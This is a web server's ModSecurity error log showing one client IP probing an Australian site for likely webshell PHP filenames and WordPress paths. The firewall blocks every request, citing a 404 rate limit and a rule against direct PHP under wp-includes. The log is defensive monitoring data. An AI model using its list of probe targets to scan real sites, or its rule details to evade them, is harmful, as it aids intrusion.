[Fri Feb 13 03:09:00.453728 2026] [:error] [pid 23410:tid 23412] [client 20.234.103.39:6427] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aY4lTBXZP6NFBacuW_1bkgAAAIA"]
[Fri Feb 13 03:09:02.095845 2026] [:error] [pid 37856:tid 37863] [client 20.234.103.39:5970] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aY4lTpUcWP4qWM7hWskzrgAAAMQ"]
[Fri Feb 13 03:09:02.764654 2026] [:error] [pid 37510:tid 37523] [client 20.234.103.39:6049] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aY4lTsUrqDPNSf1wYBW8cwAAAYc"]
[Fri Feb 13 03:09:03.340473 2026] [:error] [pid 23410:tid 23427] [client 20.234.103.39:6014] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aY4lTxXZP6NFBacuW_1blwAAAI8"]
[Fri Feb 13 03:09:03.928643 2026] [:error] [pid 37510:tid 37537] [client 20.234.103.39:5962] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aY4lT8UrqDPNSf1wYBW8dAAAAZU"]
[Fri Feb 13 03:09:04.466635 2026] [:error] [pid 37510:tid 37516] [client 20.234.103.39:5969] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aY4lUMUrqDPNSf1wYBW8dQAAAYA"]
[Fri Feb 13 03:09:05.010734 2026] [:error] [pid 37511:tid 37604] [client 20.234.103.39:6447] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aY4lUe8EBJ86uZdxpA2ipAAAAFc"]
[Fri Feb 13 03:09:05.513579 2026] [:error] [pid 37511:tid 37596] [client 20.234.103.39:6036] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aY4lUe8EBJ86uZdxpA2ipQAAAE8"]
[Fri Feb 13 03:09:06.098333 2026] [:error] [pid 23410:tid 23412] [client 20.234.103.39:5978] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aY4lUhXZP6NFBacuW_1bnwAAAIA"]
[Fri Feb 13 03:09:06.621001 2026] [:error] [pid 37856:tid 37874] [client 20.234.103.39:5929] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aY4lUpUcWP4qWM7hWskztQAAAM8"]
[Fri Feb 13 03:09:07.180146 2026] [:error] [pid 37510:tid 37538] [client 20.234.103.39:6057] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aY4lU8UrqDPNSf1wYBW8dwAAAZY"]
[Fri Feb 13 03:09:07.728395 2026] [:error] [pid 37510:tid 37539] [client 20.234.103.39:6024] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class.php"] [unique_id "aY4lU8UrqDPNSf1wYBW8eAAAAZc"]
[Fri Feb 13 03:09:08.310397 2026] [:error] [pid 37511:tid 37605] [client 20.234.103.39:5912] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class.php"] [unique_id "aY4lVO8EBJ86uZdxpA2ipwAAAFg"]
[Fri Feb 13 03:09:08.863260 2026] [:error] [pid 37511:tid 37589] [client 20.234.103.39:5968] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class.php"] [unique_id "aY4lVO8EBJ86uZdxpA2iqAAAAEg"]
[Fri Feb 13 03:09:09.470380 2026] [:error] [pid 37510:tid 37541] [client 20.234.103.39:5997] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class.php"] [unique_id "aY4lVcUrqDPNSf1wYBW8fQAAAZg"]
[Fri Feb 13 03:09:09.995251 2026] [:error] [pid 37510:tid 37533] [client 20.234.103.39:5991] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bless5.php"] [unique_id "aY4lVcUrqDPNSf1wYBW8fgAAAZE"]
[Fri Feb 13 03:09:10.499746 2026] [:error] [pid 37856:tid 37860] [client 20.234.103.39:5998] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bless5.php"] [unique_id "aY4lVpUcWP4qWM7hWskzugAAAME"]
[Fri Feb 13 03:09:11.062006 2026] [:error] [pid 37856:tid 37872] [client 20.234.103.39:5909] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bless5.php"] [unique_id "aY4lV5UcWP4qWM7hWskzvQAAAM0"]
[Fri Feb 13 03:09:11.613531 2026] [:error] [pid 23410:tid 23423] [client 20.234.103.39:5838] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bless5.php"] [unique_id "aY4lVxXZP6NFBacuW_1btgAAAIs"]
[Fri Feb 13 03:09:12.191435 2026] [:error] [pid 37512:tid 37616] [client 20.234.103.39:6056] [client 20.234.103.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aY4lWNDe69znS-f6vSZucgAAAAc"]
[Fri Feb 13 03:09:12.869404 2026] [:error] [pid 23410:tid 23412] [client 20.234.103.39:5976] [client 20.234.103.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aY4lWBXZP6NFBacuW_1bvAAAAIA"]
[Fri Feb 13 03:09:13.565190 2026] [:error] [pid 37511:tid 37600] [client 20.234.103.39:6063] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lock360.php"] [unique_id "aY4lWe8EBJ86uZdxpA2isAAAAFM"]
[Fri Feb 13 03:09:14.179131 2026] [:error] [pid 37510:tid 37534] [client 20.234.103.39:5921] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lock360.php"] [unique_id "aY4lWsUrqDPNSf1wYBW8gQAAAZI"]
[Fri Feb 13 03:09:14.709252 2026] [:error] [pid 37511:tid 37593] [client 20.234.103.39:6047] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lock360.php"] [unique_id "aY4lWu8EBJ86uZdxpA2iswAAAEw"]
[Fri Feb 13 03:09:15.305676 2026] [:error] [pid 37856:tid 37882] [client 20.234.103.39:6069] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lock360.php"] [unique_id "aY4lW5UcWP4qWM7hWskzxgAAANc"]
[Fri Feb 13 03:09:15.816222 2026] [:error] [pid 23410:tid 23436] [client 20.234.103.39:5966] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/f35.php"] [unique_id "aY4lWxXZP6NFBacuW_1bwQAAAJg"]
[Fri Feb 13 03:09:16.358285 2026] [:error] [pid 37510:tid 37539] [client 20.234.103.39:6090] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/f35.php"] [unique_id "aY4lXMUrqDPNSf1wYBW8hAAAAZc"]
[Fri Feb 13 03:09:16.904870 2026] [:error] [pid 37856:tid 37876] [client 20.234.103.39:5863] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/f35.php"] [unique_id "aY4lXJUcWP4qWM7hWskzyAAAANE"]
[Fri Feb 13 03:09:17.546385 2026] [:error] [pid 37510:tid 37521] [client 20.234.103.39:5953] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/f35.php"] [unique_id "aY4lXcUrqDPNSf1wYBW8iAAAAYU"]
[Fri Feb 13 03:09:18.134473 2026] [:error] [pid 23410:tid 23432] [client 20.234.103.39:6012] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aY4lXhXZP6NFBacuW_1bxQAAAJQ"]
[Fri Feb 13 03:09:18.790698 2026] [:error] [pid 23410:tid 23416] [client 20.234.103.39:6011] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aY4lXhXZP6NFBacuW_1bxgAAAIQ"]
[Fri Feb 13 03:09:19.457965 2026] [:error] [pid 23410:tid 23435] [client 20.234.103.39:6418] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aY4lXxXZP6NFBacuW_1byQAAAJc"]
[Fri Feb 13 03:09:20.125596 2026] [:error] [pid 23410:tid 23415] [client 20.234.103.39:6085] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aY4lYBXZP6NFBacuW_1bygAAAIM"]
[Fri Feb 13 03:09:20.743344 2026] [:error] [pid 23410:tid 23424] [client 20.234.103.39:6060] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aY4lYBXZP6NFBacuW_1bywAAAIw"]
[Fri Feb 13 03:09:21.411938 2026] [:error] [pid 23410:tid 23430] [client 20.234.103.39:5958] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aY4lYRXZP6NFBacuW_1bzQAAAJI"]
[Fri Feb 13 03:09:22.078224 2026] [:error] [pid 37510:tid 37518] [client 20.234.103.39:5982] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aY4lYsUrqDPNSf1wYBW8mAAAAYI"]
[Fri Feb 13 03:09:22.632061 2026] [:error] [pid 23410:tid 23421] [client 20.234.103.39:6066] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aY4lYhXZP6NFBacuW_1b0QAAAIk"]
[Fri Feb 13 03:09:23.227892 2026] [:error] [pid 37856:tid 37882] [client 20.234.103.39:5913] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ha.php"] [unique_id "aY4lY5UcWP4qWM7hWskzzQAAANc"]
[Fri Feb 13 03:09:23.748866 2026] [:error] [pid 37512:tid 37608] [client 20.234.103.39:5993] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ha.php"] [unique_id "aY4lY9De69znS-f6vSZugQAAAAA"]
[Fri Feb 13 03:09:24.391509 2026] [:error] [pid 23410:tid 23434] [client 20.234.103.39:5835] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ha.php"] [unique_id "aY4lZBXZP6NFBacuW_1b1gAAAJY"]
[Fri Feb 13 03:09:25.178771 2026] [:error] [pid 37510:tid 37518] [client 20.234.103.39:5995] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ha.php"] [unique_id "aY4lZcUrqDPNSf1wYBW8oAAAAYI"]
[Fri Feb 13 03:09:26.094610 2026] [:error] [pid 37856:tid 37859] [client 20.234.103.39:6076] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gg.php"] [unique_id "aY4lZpUcWP4qWM7hWskz0wAAAMA"]
[Fri Feb 13 03:09:27.202080 2026] [:error] [pid 37856:tid 37879] [client 20.234.103.39:5920] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gg.php"] [unique_id "aY4lZ5UcWP4qWM7hWskz2wAAANQ"]
[Fri Feb 13 03:09:27.871755 2026] [:error] [pid 23410:tid 23412] [client 20.234.103.39:6092] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gg.php"] [unique_id "aY4lZxXZP6NFBacuW_1b3QAAAIA"]
[Fri Feb 13 03:09:28.586083 2026] [:error] [pid 37512:tid 37612] [client 20.234.103.39:6009] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gg.php"] [unique_id "aY4laNDe69znS-f6vSZuhQAAAAQ"]
[Fri Feb 13 03:09:29.177975 2026] [:error] [pid 23410:tid 23429] [client 20.234.103.39:6005] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/we2.php"] [unique_id "aY4laRXZP6NFBacuW_1b4AAAAJE"]
[Fri Feb 13 03:09:29.728857 2026] [:error] [pid 37512:tid 37635] [client 20.234.103.39:5971] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/we2.php"] [unique_id "aY4ladDe69znS-f6vSZuiAAAABg"]
[Fri Feb 13 03:09:30.270926 2026] [:error] [pid 37856:tid 37864] [client 20.234.103.39:5946] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/we2.php"] [unique_id "aY4lapUcWP4qWM7hWskz6wAAAMU"]
[Fri Feb 13 03:09:30.849125 2026] [:error] [pid 23410:tid 23413] [client 20.234.103.39:5985] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/we2.php"] [unique_id "aY4lahXZP6NFBacuW_1b5AAAAIE"]
[Fri Feb 13 03:09:31.440619 2026] [:error] [pid 23410:tid 23431] [client 20.234.103.39:6104] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/04.php"] [unique_id "aY4laxXZP6NFBacuW_1b5QAAAJM"]
[Fri Feb 13 03:09:32.011690 2026] [:error] [pid 37512:tid 37634] [client 20.234.103.39:6043] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/04.php"] [unique_id "aY4lbNDe69znS-f6vSZujAAAABc"]
[Fri Feb 13 03:09:32.569353 2026] [:error] [pid 23410:tid 23421] [client 20.234.103.39:6004] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/04.php"] [unique_id "aY4lbBXZP6NFBacuW_1b5wAAAIk"]
[Fri Feb 13 03:09:33.141946 2026] [:error] [pid 23410:tid 23419] [client 20.234.103.39:6143] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/04.php"] [unique_id "aY4lbRXZP6NFBacuW_1b6QAAAIc"]
[Fri Feb 13 03:09:33.737900 2026] [:error] [pid 23410:tid 23433] [client 20.234.103.39:6072] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/333.php"] [unique_id "aY4lbRXZP6NFBacuW_1b7AAAAJU"]
[Fri Feb 13 03:09:34.261788 2026] [:error] [pid 37511:tid 37600] [client 20.234.103.39:6052] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/333.php"] [unique_id "aY4lbu8EBJ86uZdxpA2iuQAAAFM"]
